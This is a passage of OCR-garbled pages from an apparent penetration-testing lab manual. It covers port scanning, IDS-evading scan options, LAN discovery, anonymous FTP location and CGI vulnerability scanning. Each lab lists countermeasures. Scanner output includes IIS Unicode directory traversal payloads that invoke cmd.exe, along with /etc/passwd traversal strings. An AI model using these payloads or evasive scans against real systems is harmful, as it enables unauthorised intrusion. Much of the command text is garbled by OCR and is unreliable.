g8 80[ Hitp => World Wide Web. HTTP | Microsoft15 /5.0
135 [ epmap =» DCE endpoint resolution |

139 [ Methios-zsn =» METEIOS Session Service |

e

L)
.
L)

o @ 445 [ MicrosoftDs |
- && UDP Ports [4)

af../..%e0%80%
af../winnt/systemd2/cmd.exe?/ce+dir
- Unicode Directory Transversal Bug
/_wti_bin/..%e8%86%af../..%e8%86%
af../..%e0%80%
af../winnt/system32/cmd.exe?/c+dir
- Unicode Directory Transversal Bug
(2)

/scripts/..%clkaf.. /. %cBRaf../. %
co%

af../winnt/systen32/cmnd.exe?/c+dir
- Executable File Parsing Bug
/_uti_bin/lanscan._bat/..%C1%9C. .%C1%
9C..%C1%9C. .%C1%9C. . %C1%9C. .3C1%
9C..%C1%

OC/winnt/system32/cmd .exe?/c+dir

- Frontpage check (1)
//fF_vti_inf._html

- Frontpage check (2)
/_uti_bin/shtml._exe

- Frontpage check (23)
/_vti_bin/shtml.d1l

- 1IS directory traversal
/scripts/. %cO%af/. %cO%af/. %ch%
af/..%cl%af/. . %ch%
af/winnt/system32/cnd .exe?/c+dir+c:
\+/0G

C&I probing finished.

Scan completed in 22 seconds.
Ready

443 [Hitps => Secure HTTF |
| _’lJ

[Ready

Because of the canned scripts included with LANguard, several vulnerabilities
were found including the Internet Information Service (IIS) directory transversal,
which allows an attacker to browse the contents of the target and gain other
information. Many, if not all, of these weaknesses can be prevented if the target

had received its service packs and Windows updates.

As a side note notice the Remote Time of Day service is running on the
target. This allows an attacker to initiate a DoS attack against the target at will.
The Remote Time of Day service is an example of a service that should not
be turned on unless there is a very specific reason to do so, and even then

should be protected by firewalls and/or routers.

*Note: As with any application be aware of your environment prior to and after
installing it. One of LANguard’s features is to perform a remote shutdown of
the target. Initially this feature did not work on a Windows computer with
Service Pack 1 installed on it; however, once Service Pack 2 was installed
that same computer could be shut down without notice or warning. Please
do not assume that newer versions of an application take security into

account.

Newer versions of LANguard require purchase.
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Lab 31: Target Scan through Firewall

Scan Open Ports of Target: Fscan windows

.I’J.f

Prerequisites: None
Countermeasures: Host-based firewalls
Description: The Fscan application is a tool from Foundstone that allows

an attacker to scan for open ports on targets. A unique feature of Fscan
is that it allows an attacker to scan in a random, “quiet” mode to try
to circumvent Intrusion Detection Software (IDS). Fscan also allows
the scan to be bound to a specific port—for example, port 80, which
most firewalls allow. (This would be the —i option.)

Procedure: From the Fscan application enter in the target IP address or

IP range and scan.

From a DOS prompt type the following with the syntax of:

fscan <options> (IP Address or Name) (Port #)

%] select Command Prompt ] i =]

C:“\Tools\fscan>fscan —qr 192.168.142.143
FScan v1.12 — Command line port scanner.
Copyright 2088 ¢c> by Foundstone, Inc.
http: 7w . foundstone .com

No ports provided - using default lists:
TCP 21,.25,.43,.53,70,79,80,118,111 ,113,115,119,135,139,38%,443,1088.1433
UDP: 49.53769.135,137.138.161.162,513.514.515.5208, 31337,32780

Scan started at Fri Jan 16 23:43:17 2804

21/tcp
88-/tcp
135/tcp
443 /tcp
13%9/tcp
25/tcp
137/udp
135/udp
138 udp

Scan finished at Fri Jan 16 23:43:28 2084
Time taken: 32 ports in 2.544 secs (12.58 ports/sec)

C:~Tools“fscan>

Unless otherwise instructed fscan will scan a default range of both Transfer
Control Protocol (TCP) and User Datagram Protocol (UDP) ports to see if the
ports are open. In this example the options of —qr were used. This is the same

as saying —q —t.

The —q option instructs Fscan not to ping the target before scanning.
The —r option instructs Fscan to scan in a random order.

These options help evade IDS that may be between the attacker and the target.
In this example, the target has several TCP ports open and a few UDP. The
ports of interest are:

21 (FTP)

25 (SMTP)

80 (HTTP)

139 (Windows Share)

*Note: Notice that port 23 is not being scanned. According to Foundstone this was

an honest mistake by the author, who forgot to put it in.
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Lab 32: Passive Network Discovery
Passively Identify Target Information on the LAN: Passifist é

Prerequisites: Compile the Linux script

Countermeasures: Host-based firewalls

Description: The passifist application attempts to identify targets within
a Local Area Network (LAN) by listening in passive mode on the LAN
and from the results of the information identifies the target’s IP address,
MAC address, hostname, and probable operating system used.

Procedure: Uncompress, configure, and execute against target.

From the directory containing the compressed passifist file type tar —zxvf
passifist_src_1.0.6.tgz.

B The contents will be extracted into a new directory named passifist.
B Change to the new directory by typing cd passifist and pressing Enter.
B From the passifist directory type ./configure and press Enter.

51 Red Hat Linux B Server - VMware Workstation EHEIE\

File Edit view VM Power Snapshot  Windows  Help

uwiee & = 0 e =

=8 [ Session Edit View Settings Help

m T

[root@localhost passifist]# ./configurell
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The script will compile to the specific machine it is installed on.

5% Red Hat Linux B Server - VMware Workstation

File Edt WView YM Power Snapshot  Windows Help

(b9 | @ sweesat Breer |0 B

size of shert int... 2
checking size of int... 4
checking size of leng int... 4
checking size of leng long int... 8
checking for main in -lc... yes
checking for dlopen in -1dl... yes
checking for library containing MD5_Init... -1ssl
checking for mysgl real connect in -lmysqlclient... no
checking for tds_connect in -ltds... no
checking for pcap_open_live in -lpcap... yes
checking for dirent.h that defines DIR... yes
checking for opendir in -1dir... no
checking for ANSI C header files... yes
checking for unistd.h... yes
checking for strings.h... yes
checking for working const... yes
checking for u_intXX_t types in sys/types.h... yes
updating cache ./config.cache
creating ./config.status
creating passifist.tmpl
creating Makefile
creating src/splugs/Makefile
creating src/Makefile
creating src/pplugs/Makefile
creating config.h
[root@localhost passifist]# makell

@ cqure.netjtoc
"] file:/root/tools.

Type in make and press Enter.

Red Ha B Serve are Workstatio

File Edt wiew %M Power Snapshot  Windows  Help
[P @ | B o B ==

Red Hat Linux 8 Server

ndroo ocalho pols/pa pa e onsole =-82%
Session Edit View Settings Help

P&

[root@localhost passifist]# ./passifist -1 eth0 —U "provider=TXT;filename=foobar.txt;l~

D/D
Passifist 1.0.6 by patrikdcqure.net

[WARNING] You are running an old version of the pcap library
[WARNING] Passifist has been tested using libpcap: 0.7.2
[WARNING] You are running: 0.6

[INFO] Connecting to provider ...

[INFO] Connected to provider

[INFO] Live on interface=etho

[INFO] Setting pcap filter ...

[INFO] Going live ...

:
D w2t

[S=T"T|

@ cqure.net/tools - Mozilla

s b
T
-
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Initiate the passive discovery with the following syntax:

./passifist -I eth0 -U "provider=TXT:
filename=foobar.txt"

8% Red Hat Linux B Server - VMware Workstation

Fie Edt wiew ¥M Power Snapshot Windows Help

0 [ & 6 sneeshor () OE =

Red Hat Linux § Server

L droo ocalho ools/pa pa e onsole - 0%
Session Edit View Settings Help

o I

Passifist 1.0.6 by patrik@cqure.net

[WARNING] You are running an old version of the pcap library
[WARNTNG] Passifist has been tested using libpcap: 0.7.2
|| [WARNING] You are running: 0.8
g |[[INFO] Connecting to provider ...
[INFO] Connected to provider
[INFO] Live on interface=eth0
[INFO] Setting pcap filter ...
[INFO] Going live ...
B | [INFO] Aborting ...
[INFO] Packets recieved: 39
[INFO] Packets dropped: 0O
[INFO] Unloading plugins ...
[INFO] Succesfully unloaded plugins/libtftp.so.0.0.0
[INFO] Succesfully unloaded plugins/libsmb.so0.0.0.
[INFO] Succesfully unloaded plugins/libnetop.so.0.
[INFO] Succesfully unloaded plugins/1ibipx.s0.0.0.
[INFO] Succesfully unloaded plugins/libhsrp.so.0.0.0
[INFO] Succesfully unloaded plugins/libeim.s0.0.0.0
[INFO] Succesfully unloaded plugins/libcdp.s0.0.0.0
[INFO] Sucessfully unloaded plugins
[INFO] Discomnecting from provider ...
[INFO] Disconnected from provider Q

[INFO] Succesfully stored 7 records
*[ @ cqure.nettools - Mozilla A=
— ‘B - 19:34
| < A 0;

[root@localhost passifist]# il
Com |

.0

coco

ald@E Ha=2d

Once the program is initiated, the attacker will wait awhile and then stop
the application by pressing Ctrl+C. The results in this example identified
seven targets on the LAN.

From the options entered when the passifist application was started, the results
were saved in a text file named foobar.txt within the directory passifist resides in.
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Upon opening the foobar.txt file the results identified the following:

The target IPs

Hostnames

MAC addresses

Probable OS being used by each target

2] Red Hat Linux B Server - VMware Workstation E\E\El

Fie Edt wiew WM Power Snapshot  Windows Help
0| p |2 G seshor B 0 E B
Red Hat Linux 8 Server

fdfile:/rootftools/pa pa oobar.b onquero =0%
Location Edit View Go Bookmarks Bookmarks Tools Settings Window Help

24N B0 Fobhdy 2 XAK

2 E® Location ‘ jﬂ\e.fracr;’tuu\sfpasslﬂs;fpassmsufnabav.rxt " E
= - -
—, 00:80:C8:2A:05:E7,192.168.0.3,DANIELLE,smbhost
ﬁ srvtype=>Srv,Wks
% osver=>Windows 2000
4 00:80:08:04:07:73,192.168.0.4,TODD, smbhost
|- srvtype=>Srv,uks
|® osver=>Windows 2000
& -—-
a 00:0C:29:A3:E4:40,192.168.11.120,WIN2000S-V,smbhost
|- domain=>NST
@ srvtype=>Master browser
| “00:30:BD:A0:3C:D2,192.168.0.6,DONNA , smbhost
srvtype=»>5rv,Wks,Master browser
osver=>Windows 2000
00:30:1B:B1:6F:AF,192.168.0.2,TOP10ADAY, smbhost

srvtype=>Srv,Wks,PDC,Time,Print,Master browser,Term. Srv
osver=>Windows 2000

-

I
@ cqure.netfto & root@localhos ; = ; % ”
- g 19:36

Sam |

ad@ JHg Bl

*Note: Remember that the objective is to gather as much information as possible

about the target. All of this information is useful to an attacker as it identifies

what targets are available and helps guide the attacker in the appropriate
direction.
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Lab 33: Network Discovery
Identify Target Information: LanSpy vmﬁ

Prerequisites: None

Countermeasures: Host-based firewalls, uninstall/disable unnecessary
services

Description: The LanSpy application attempts to identify targets within a
LAN and from the results of the information identifies the target’s 1P
address, MAC address, hostname, and probable operating system used,
among other information.

Procedure: Install and start the LanSpy application, enter the target infor-
mation, and scan.

Start the installation of LanSpy by double-clicking the LanSpy setup icon:

Is

LanSpy

Accept the default installation of LanSpy. LanSpy will install. Once com-
plete, click Finish.

Bl Windows 2000 Professional - ¥Mware Workstation

Fie Edt Yew VM Team ‘Windows Help

nre BEEeelE

P

Completing the LanSpy Setup
Wizard

Sefup has finished instaling LanSpy on your computer. The
application may be launched by selecting the installed icons

Click Firish to e#it Setup.

¥ Launch LanSpy

jﬁstartm M & =1 H HC:\WINNT\SysteH.l & ImajorGeeks.com | ‘JC|pownioadsLa.. || j5lsetup $EDEIEE  eiizpm ‘

Ceml
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From the LanSpy application enter the target IP address. Click on the Green
Arrow to start the scan.

[Bl] Windows 2000 Professional - ¥Mware Workstation ) =0l x|

File Edit ¥ew %M Team Windows Help

File Tools Help

BT i [ vl N

A

[ \ \ [ [
;ﬁstartm &3 H mC\WlNNT\SystemSZ\(m."| aMa]aneeks‘mm-Duwnl‘.‘l 3CDownloadsiLanspy | JIEs g susem

Bomw

The results of the scan will be displayed.

Windows 2000 Professional - ¥Mware Workstation o [=]

File Edit ‘Wew %M Team ‘Windows Help
nire B Bam

A H (7 Windows 2000 Profes
LanSpy 2.0 —Lan’

Fle. Tools fiolp
a7z 16140 Ceg|nmB-|pB|#EE ‘
£ User o
153 MAC: 000023436440

TCP parts (1)

21 g = File Transter Prctocel

80 http => World Wide Web HTTP

135 eprsp > DCE sndosint resolion

128 netbics-son = NetBios Gession Servics

4483 hiips => Hitp protocel aver TLS/S5L

445 microsoit s = Minosoft DS

1025 blackisck > Hetacik blscksck

1026 cap = Calender Access Protocel

3308 mysql => MySOL

3383 termingl = Teminal Servioss (Ms Fremote Disskiop)
BEEG 12 = Mirc

DF ports (5]

137 rethiosns =» NetBios Name Service

138 netbis-dgm = Netfios D stagram Servics

161 SNMP = Simple Network Management Pretscal
445 microsoft-ds => Microsoft-DS

500 sskomp = Isaknp

°

eoooeoeoc00

o
]
=

eccoe

K]

1) Total time of seanning 0:00:23

1) Time of scanning 0:00:23

1) Scanning complete

& Checking selected UDP ports - successfully

& Checking selected TCP patts - successiully

€23 Retrisving Network Statistics for WorkStalion - failed
€23 Retrieving Network Statistics for Server - failed =
- I _>|_I
Hstart ||| ] & £ H B CWINNT|System32icm. .| & |MsjorGsks.com - Downl...| CyCrDownbadsitanspy | [ CDEIoH#  eepm

Eemw
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In this example, the target has the following TCP ports open:

21 (FTP)

80 (Web)

135 (DCP Endpoint Resolution)
139 (Windows Shares)

443 (HTTPS)

445 (Windows Shares)

1025 (Network Blackjack)

1026 (Calendar Access Protocol)
3306 (MySQL)

3389 (Terminal Services)

6666 (Mirc)

In this example, the target has the following UDP ports open:

137 (NetBios Name Service)
138 (NetBios Datagram Service)
161 (SNMP)

445 (Windows Shares)

500 (Isakmp)

*Note: LanSpy is an excellent application to perform a quick scan against a target.
LanSpy will also identify the hostname and MAC address of the target.
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Lab 34: Open Ports/Services

Scan Open Ports/Services of Target: Netcat

Prerequisites: None
Countermeasures: Uninstall/disable fix unnecessary services, Intrusion

Detection Systems (IDS) Log and Event Log review

17/
i ur”
Windows

16)

e

Description: The netcat application has many uses; one is the ability to
scan a target for open ports and services. Another utility, cryptcat, is
almost identical except that it operates with encryption.

Procedure: From a DOS prompt, type the following with the syntax of:

nc <options > <Hostname or IP Address> <Port Range>

C:\Tools\Windows\netcat\netcatnc -v -»r —w2 -z 192.168.8.8 1-1824
DNS fud/vev mismatch: WIN2BAAS-U = WIN2G@AS-U

U IN2ABAS-U
\IN2ABAS-U
UTN206@3-U
UIN2AABS-U
UIN2AARS-U
UIN2AABS-U
UIN2AARS-U
UIN2A8RS-U
UIN2AARS-U
UIN2A8RS-U
UIN2AARS-U
UIN2ABAS-U

[192

.168
.168
.168
.168
.168
.168
.168
.168
.168
.168
.168
.168

.a
A
.8
]
]
]
]
B
B
B
B
.a

.81
.81
.81
.41
.81
.41
.81
.81
.81
.81
.81
.81

88 (http) open

7 (echo) open

13 {daytime) open

21 (Ftp) open

17 (gotd> open

445 {microsoft-ds) open
9 (discard) open

139 {nethios-ssn) open
1% (chargen) open

135 {epmap) open

443 C(https) open

25 (smtp)> open

C:\Tools\Windows\netcat\neteat>_

B The —v option instructs netcat to run in verbose mode, allowing you
to see the progress of the scan.
B The —r option instructs netcat to randomize local and remote ports in

an attempt to elude any intrusion detection systems.

B The —w2 option instructs netcat to wait 2 seconds between each port
scanned to help elude any intrusion detection systems.

B The —z option instructs netcat to operate in a zero-I/O (Input/Output)
mode. It is best to use the —z when scanning with netcat.

B The 1-1024 instructs netcat to scan port 1-1024.
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In this example, the target has the following ports open:

*Note:

80 (Web)

7 (Echo)

13 (daytime)

21 (FTP)

17 (Quote of the Day)
445 (Windows Share)

9 (discard)

139 (Windows Share)

19 (Character Generator)
135 (epmap)

443 (HTTPS)

25 (Simple Mail Transfer Protocol [SMTP])

From the results of this example the “low hanging fruit” ports are:

7,13, 17, 9, and 19 as these ports can easily be used to create a Denial
of Service (DoS). These ports should not be open to the Internet.
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Lab 35: Port Scan/Service Identification
Scan Open Ports of Target: SuperScan

Prerequisites: None

Countermeasures: Secure access control lists (ACLs), Bastion servers/
workstations, host-based firewalls

Description: SuperScan has the ability to discover which ports are open
on the target. Identifying the open ports tells an attacker what ports
are available for potential exploit.

Procedure: Install the application, enter the target data, and scan the
target.

Double-click on the SuperScan application.

Accept the default installation of SuperScan. The installation will occur and
the SuperScan application will start.

B Windows 2000 Professional - ¥Mware Workstation

File Edt ¥ew %M Team ‘Windows Help

. =l81x|
2 H Lackup Configurati
fi2r.00.1 Lookup E—
ot st st
Risolved [ Me | Interfaces
P Timeout Scan type Scan
Stan[127.0.01 ||| Pig_ || T Resalve hostoames
= W [¥ Only scan responsive pings [a
Ston|127.0.01 = I¥ Show host responses
Connect | | € Fing only [o°
Prevt:| Mestt | 1,254 !
o] IV s 2000 | | € Evers portin st
F lanore P zera Al selected parts in st [
W7 Igrore IP 255 EEEd © Allistports fom [T [55525
I Ewsctionfie - | C mipaiston [T [

Speed | |

Ma Aetive hosts
= |0 ]
Open ports
o

Save
Callapse al
Expand al

Min Frune

dhstart||| 1] & &2 H % superscan 3.00

G EigEl  szsem

Comw
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In this example the default target of 127.0.0.1 was changed to 172.16.1.40
and by clicking on Lookup, the target’s hostname was resolved (Win2000s-v).

8] Windows 2000 Professional - ¥Mware Workstation i
File Edt ¥ew %M Team Windows Help

—lofx|

njre|lgapEE®

2 H Laokup C
17216120 Lookup | T

ort fst setup

Fiesolved [win2000s-v Me | Interfaces

Timeout

Stan[17216740 = || Fing F Plesolve hostnames
¥ Only scan responsive pings
swp[i7zietan | |10

I¥ Show host responses

Connzct | | Ping only
PrevC | NewC| 1.254
i 5 e 2000 € Every port in st

I larere P zero & Allselected ports in list
W Ignore IP 255 Eengd © it ports from [T [65555
I Edectiomie - | © Alponstom [ [Foes

Scan type

Speed | |
Ma Aetive hosts
= |0 ]
Open ports
Save
Callapse al

Expand 4l

dhstart||| 1] & &2 H % superscan 3.00

Click the Port list setup button.

8] Windows 2000 Professional - ¥Mware Workstation i
File Edt ¥ew %M Team Windows Help

—lofx|

=18l x|

Loakup

[17216.1.40

FrE—
_ ok | Port lst set

ort st setup

Fiesolved [win2000s-v Me | Interfaces

Scan type

T el =

Stan 172,16, I
Ston|17216. "~ Change/add/delete port info Port list file
Preve| Ne | Por I =] Sekoed T | [ocamecst |
¥ lgrore IF Description [TCP Port Service Multiplexer el | Merge | S | 0K |
W lgnowe|F | Program [ _>|
™ Extracthi Piia l— Selectpots |
Double-click listitem to select/de-select ~_Select All | Clear All
Speed | [ | Probstest |
Ma Active hosts
= idd || Dekte | Aosly | .
—— Helper apps in right-click menu—— Open ports
FTP  [C\Program Files\GlobalSCAP _>|
Farams [#p: /%520,
Telnet [iciel eve =]
Paras [zzp
Web  [CProgram Filesntemet Expl | o |
Params [htp:f/%a5%p/
Save
Parameters: %a = IP address, %p = port _
Collapse 4l
Expand 4l
Min Prune

Astart|| (] @ 1 ||[Fsuperscan 3.00 $ D@ M
[S=1 1D
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Scroll through the ports available, noticing the default service associated
with that port is listed. In this example the default ports already selected are
used. Click OK, then click Start.

18 Windows 2000 Professional - ¥Mware Workstation -

File Edt Yew %M Team Windows Help

R EEEEEEE]

~=101x]

) :u- | & Windows 2000 Professional # Lin *
i SuperScan 3.00 1= x|
2 Laokup Configurati
[172181.20 Lookup T
ot st setup
Resolved [win2000s-+ Me | Interfaces
P Timeout Scan type Scan
Stn[T7216740 = | Pig F Flesalv hostnames
¥ Dnly scan responsive pings
[zt = | [0
Stop|17216.1.40 :’ ¥ Show host respanses ng
Connect | | Fing ol 17216.1.40 [0
PrevC | NewC| 1.254
Il [ [ 2000 € Every port in st ing
¥ lgnore IP 2210 & Allselected parts in list [o
I Ignore IP 255 Fead || ¢~ AN et ports from [7 5535
I~ Exhact from file _>| 4000 Stop
C Mporstom [T [65555
Speed-|
Man Active hasts
=
Open ports
Save
Collapse all
Erand ]
Min Fure |
i;!start”J o & H S superscan 3.00 GEDEgE  a:apm
Eemh s

*Note: Notice you have control over several parameters of SuperScan, including
adjusting the speed at which the application runs, creating custom port lists,
and pruning the results, which is used to eliminate computers scanned in a
range of targets that return no results.

Notice that SuperScan will perform a banner grab by default. In this exam-

ple, SuperScan identified that the target:

B Has port 21 open and is running Microsoft FTP version 5.0.
B Has port 80 open and is running Microsoft IIS version 5.0.
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Lab 36: Port Scanner
Identify Ports Open: Strobe .&

Prerequisites: None

Countermeasures: Firewalls, disable unneeded services

Description: The Strobe application identifies ports open on the target.
By identifying the ports available this gives an attacker a potential hole
to attempt to punch through and compromise the computer and/or
network. Remember that all commands in Linux are case sensitive.

Procedure: Configure, compile and execute against the target. For the
Windows-based version install and execute with the following syntax:

./strobe (Target IP)

From the Linux directory containing the compressed file type tar —zxvf
strobel03.tar.gz. The files will uncompress into a new directory named
strobe. Change to the new directory by typing cd strobe and pressing Enter.

From the new directory type make install and press Enter.

B Red Hat Linux - ¥Mware Workstation P

~=lofx|

File Edit %ew %M Team Windows Help

njre |genpERBE

ﬁkell Hat Linux
|l rootlocalhost:jtools/strobe/strobe
Eile Edit View Terminal Go Help
[root@localhest strobel# tar -zxvf strobelO3.tar.gz
strobe/
strobe/strobe.c
strobe/strobe.services
strobe/Makefile
strobe/INSTALL
strobe/VERSION
strobe/HISTORY
strobe/strobe.1

strobe/strobe.man

strobe/TODO

strobe/CREDITS

strobe/POST

[root@localhost strobel# cd strobe
[root@localhost strobe]# make install

AR HeRFs

strobe/COPYRIGHT ]

Tue Nov 08
10:10 PM

Eemw
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The Strobe application will now compile.

8l Red Hat Linux - ¥Mware Workstation oy [=] 3]

File Edit %ew %M Team Windows Help

MREEEETEEED
=

A rootZlocalhost:~jtools/strobe/strobe
Eile Edit View Terminal Go Help
strobe/strobe.services
strobe/Makefile
strobe/INSTALL
strobe/VERSION
|strobe/HISTORY
strobe/strobe.1
strobe/COPYRIGHT
|strobe/strobe.man
strobe/TODO
strobe/CREDITS
strobe/POST
[root@localhost strobel# cd strobe
[root@localhost strobe]# make install
gec -0 -DLIB_STROBE_SERVICES='"/usr/local/lib/strobe.services""' -DSTROBE_SERVICE

[*]

|S=""strobe.services"' -DETC_SERVICES=""/etc/services"" -c -0 strobe.o strobe.c|
|gcc -0 -DLIB_STROBE_SERVICES=""/usr/local/lib/strobe.services"' -DSTROBE_SERVICE
S=""strobe.services"' -DETC_SERVICES='"/etc/services"' -o strobe strobe.o Z

rm -f fusr/local/bin/strobe

install -m 755 -s strobe /fusr/local/bin/strobe

lrm -f /fusr/lecal/lib/strobe.services

|install -m 644 strobe.services /usr/local/lib/strobe.services
rm -f fusr/local/man/manl/strobe.l

install -m 644 strobe.l fusr/local/man/manl/strobe.l

| [Toot@localhest strobel#

L hele ey i)

0 Tue Nov 08
10:12 PM

Comu .
To execute Strobe against the target in this example:
./strobe 172.16.1.40
Red Hat Linux - ¥YMware Workstation =1olx]

File Edit Yew %M Team ‘Windows Help
nreg@RoE @
0]
[ rooilocalhost:~/lools/strobe/strob

File Edit View Terminal Go Help
[root@localhost strobel# ./strobe 1?2.16.1.40.

O Tue Nov 08
3 10:14 FM

Eemw
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The Strobe application will now execute against the target.

Bl Red Hat Linux - YMware Workstation

File Edit Y¥ew %M Team Windows Help

| =10l x|

File Edit View Terminal Go Help

[root@localhost strobel# ./strobe 172.16.1.40 [+]

strobe 1.03 (c) 1995 Julian Assange (proff@suburbia.net).

172.16.1.40 ftp 21/tcp File Transfer [Contrel] [96,JBP]

172.16.1.40 http 80/tcp www www-http World Wide Web HTTP

#172.16.1.40 wWWw 80/tcp World Wide Web HITP [TXL]

172.16.1.40 loc-srv 135/tcp Lecation Service [JXP]

172.16.1.40 netbios-ssn 139/tcp NETBIOS Session Service [JBP]

172.16.1.40 https 443/tcp encrypted http server (SSL - RSA,rc4/de

s)

172.16.1.40 microsoft-ds 445/tcp

172.16.1.40 blackjack 1025/tcp network blackjack

#172.16.1.40 listen 1025/tcp listener RFS remote_file sharing

172.16.1.40 nterm 1026/tcp remote_login network_terminal

172.16.1.40 unknown 1028/tcp unassigned

172.16.1.40 unknown 1191/tcp unassigned

172.16.1.40 unknown 1755/tcp unassigned

172.16.1.40 unknown 3306/tcp unassigned

172.16.1.40 unknown 3372/tcp unassigned

172.16.1.40 unknown 3389/tcp unassigned

172.16.1.40 irc-serv 6666/tcp internet relay chat server

172.16.1.40 unknown 7778/tcp unassigned —

172.16.1.40 unknown 8888/tcp unassigned

[root@localhost strobel]# s

[+}
e ettt I o w
% == | [Omoz] : 10:16 PM

Bemw

The Strobe application has determined:

m Ports 21, 80, 135, 139, 443, 445, 1025, 1026, 1028, 1191, 1755, 33006,

3372, 3389, 6666, 7778, and 8888 are open.

*Note: Notice that Strobe runs very fast but the trade-off is that, from its default
configuration, several of the ports commonly known to other scanners are
not determined (445 is used for Windows Shares, 3389 is for Terminal

Services, etc.).
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Lab 37: Anonymous FTP Locator

Locate Anonymous FTP Servers: FTPScanner

Prerequisites: FTP server target with Anonymous access allowed.

Countermeasures: Deny Anonymous FTP, require Secure Socket Layer
(SSL) connections

Description: The FTPScanner application will locate FTP servers that
allow Anonymous connections to occur. These servers must be using
the default FTP port of 21 in order for the scanner to detect the server.
The biggest concern with FTP is that the data be sent unencrypted
(also known as clear text). An attacker that intercepts this clear text
can easily read all data within the communication.

Procedure: From the FTPScanner application enter the target IP address
range.

=

Session Miew Help

—Huoat: — Statuz:
—Beginning, ——————— ;I
I‘IEIE I‘IEE |142 |‘|4EI
—Ending———
I'IEIE I'IEB I'I42 |‘|45|
Tranzlate IP address to
v host name LI
— Statistics:
P2 Scanned: Status:
Anonymous FTPs
Found:
Man-anorymaous FTPz
faund:

[ Status (1/17/2004 (12:34 AM
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Select Session, then Begin. The FTPScanner will execute against the target.

® . FTPScanner il =101 x|
Session Wiew Help
—Host: — Status:
— Beaginning ———— Begitiring scan ;I

|-|5|2 |153 |-|42 |-|4|:| Connecting to: 192168142140

Connecting to: 192.168.142.141
S Connecting to; 192.168.142.142
; Connecting to: 192.168.142.143
|1 592 |1 ] |1 42 |1 45 Fesoloving hostnarne
Connecting to; 192.168.142.144
Tranzlate P address ta Connecting to: 192.168.142.145
e hozt name LI

— Statistics:
Pz Scanned: & Status: ACTMNE

Anonpmouz FTPs
Found: 2

Mor-anonymous FTPs
found: 4

[ Status 11772004 [12:34 AM

In this example the FTPScanner scanned five targets and identified two
targets running an FTP server that permits Anonymous FTP connections. The
located server IP addresses are saved to a text file in the directory of the
application.

Many times an FTP server is set up with this Anonymous access uninten-
tionally. An attacker will connect to an Anonymous FTP server to determine
if sensitive data either resides on the server, if the FTP server itself has a weakness,
or if the version of the FIP service itself has a known exploit.

This application is “buggy” but effective in that it tends to scan beyond
the desired range of targets.

*Note: This FTPScanner application has been known to crash older versions of the
Novell NetWare server, version 4.x. The fault lies in the server not having the
required updates applied. In every instance in which this has occurred on
the Novell server, the hard drive on the server had to be rebuilt from scratch.
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Lab 38: CGI Vulnerability Scanner
Identify CGI Vulnerabilities: TCS CGI Scanner

Prerequisites: None

Countermeasures: Bastion servers/workstations, host-based firewalls, OS
updates

Description: The TCS Common Gateway Interface (CGD Scanner appli-
cation is designed to find targets that have vulnerable CGI Script errors.
These errors are normally due to systems that have not been patched
or updated.

Procedure: Start the CGI Scanner, enter the target IP address, and run.

From the directory containing the TCS Scanner, double-click the TCS appli-
cation icon.

It

Tes

The TCS CGI Scanner will start.

@'! windows 2000 Professional - ¥YMware Workstation
File Edit Y¥ew %M Team Windows Help
| &

i ELE ] 3 Windows 2000 Professional

a” Tes v1.0 build 136 il ] [E
g

Sonlst Hles
BXz | =8| ¢

s, bpp. JAREH2E FH2EH2E FH2E %2R S 2R H2E FH2E H2E S %2k -
Ut

f.eoailgerec bt

/.....felcimaster passid

/... etedpasswd

/....etelsecurity/passwd

1....._tele/security/passwd. adjunct -l

i Hostirio & Options G About H Exit

Time: 00:00:00 Total holes: 517

QD E W 143em
Eomew 4

iﬁstartm ] & 3 H 4 Jzone-H.org * Downioad | (3 C:1Downlnadsical scan... |17 Tes v1.0 build 136
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Click to highlight the default target of htpp://www.tpp.ru and click on
the & at the top left of the application to delete the current target.

Wiew WM Tesm ‘Windows el

Fle C
l- Wiy e |bokeEans

O Hostiniy BOgeons G sbow A Exk

[Tiree; 00:00:00 Total ke 517

| FAseore e -1 | Ezeceitiong 2 S L sean... |1 Tes w10 bl 136 =T L
o= T

On the gray bar along the top left of the application, enter the IP address
or hostname of the target and click on the gray-colored arrow to insert the
new target. Repeat this process for multiple targets.

HX= | |

The TCS CGI Scanner is now ready to scan the target. Click on the M to
start the scan. The results are displayed in the lower screen of the application.

Fle Edk Vew WM Tesm Windows Heb

l- wip® Db Ba on

O Hostiniy BOgeons G sbow A Exk

[Tiree; 00:00:00 Total ke 517

| Fiseore| | 0 & 03 || Elzeeetiono 5. [l Tes vi.0 beibl 136

=T
[y =1 T
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B windows 2000 Professional - ¥Mware Workstation

File Edit Wiew VM Team Windows Help

niy &

Bx= |

=dad | | «

172.16.1.40

FH2E %2E /% 2E %2E % 2E %2E /2B %2F /%28 %2 S 2k o
4

0
/... {autoexec bat

fovdetimasten passd

£ Jetc/passwd

£ Jetodsecurity/passwd

£.r... Aot/ security/passwd, adiunct hd

BXQOP»

9 Hostinfo € 0stions 3 Sbout B Exi

172.16.1.40/scriptsisadmin/bdi hir 7di=ht? 26y
172.16.1.40_vt_pt/uthors.puid
172.16.1. 40/scipts isadmindism diZhtp/di
172.16.1.40/_vil_pit/service.cnf

172.16.1. 40/isadmprd/achg hir
172.16.1.40/scripts isapi/sich. him
172.16.1.40/_vil_put/service. purd

172.16.1. 40/ isadmprnid/aexp.hit
172.16.1.40/scripts/no-such ile.pl
172.16.1.40/_vtl_pt/services.cnf
172.16.1.40_vt_put/shiml.dl
172.16.1.40/seripts/pud.pl
172.16.1.40/scripts/ib.dl
172.16.1.40/seriptssamples/details. ida
172.16.1.40/scripts shuweb. i
172.16.1.40/scipts test plzz3F+ hir

403 - Forbidden. o2
403 - Forbidden.

B00 - Etemal server eror.

403 - Forbidden.

403 - Forbidden.

403 - Forbidden.

403 - Forbidden.

403 - Forbidden.

403 - Forbidden.

403 - Forbidden.

403 - Forbidden.

403 - Forbidden.

500 - Etemal server erar.

200 - Found!

500 - Etemal server erar.

403 - Forbidden, ka

Tsxi 516 [sa7esy

[Time: 00020 [Total holes: 517

hstart||| ) @ 3 || Ezonet.org* Downioad .| Byciipornivarsicer sean... [ scanning 17216100 [FDEIGE  150em

EEmw .

In this example, each script run against the target is displayed with the
result to the right. The ones of interest are any with a 200 as this indicates a
successful attempt.

In this example, I scrolled down to check for a Unicode exploit. The Unicode
exploit is used to provide a directory listing of the hard drive of the target. In
this example, the initial discovery will show the contents of the C: drive.

al - ¥Mware Workstal

File Edit Wiew VM Team Windows Help

=10/

njre|lgeia

(i3 Windows 2000 Professional

el | ¢

17216.1.40

[ S N S N S N S I S
4

/
/... dautoesec bat
frudeltcimaster passd
fedeteipassid

/.. detelsecuritydpassud

... detcisecurity/passwe. adjunct

HXQM

& Hostinfo G Options ) About B Exit

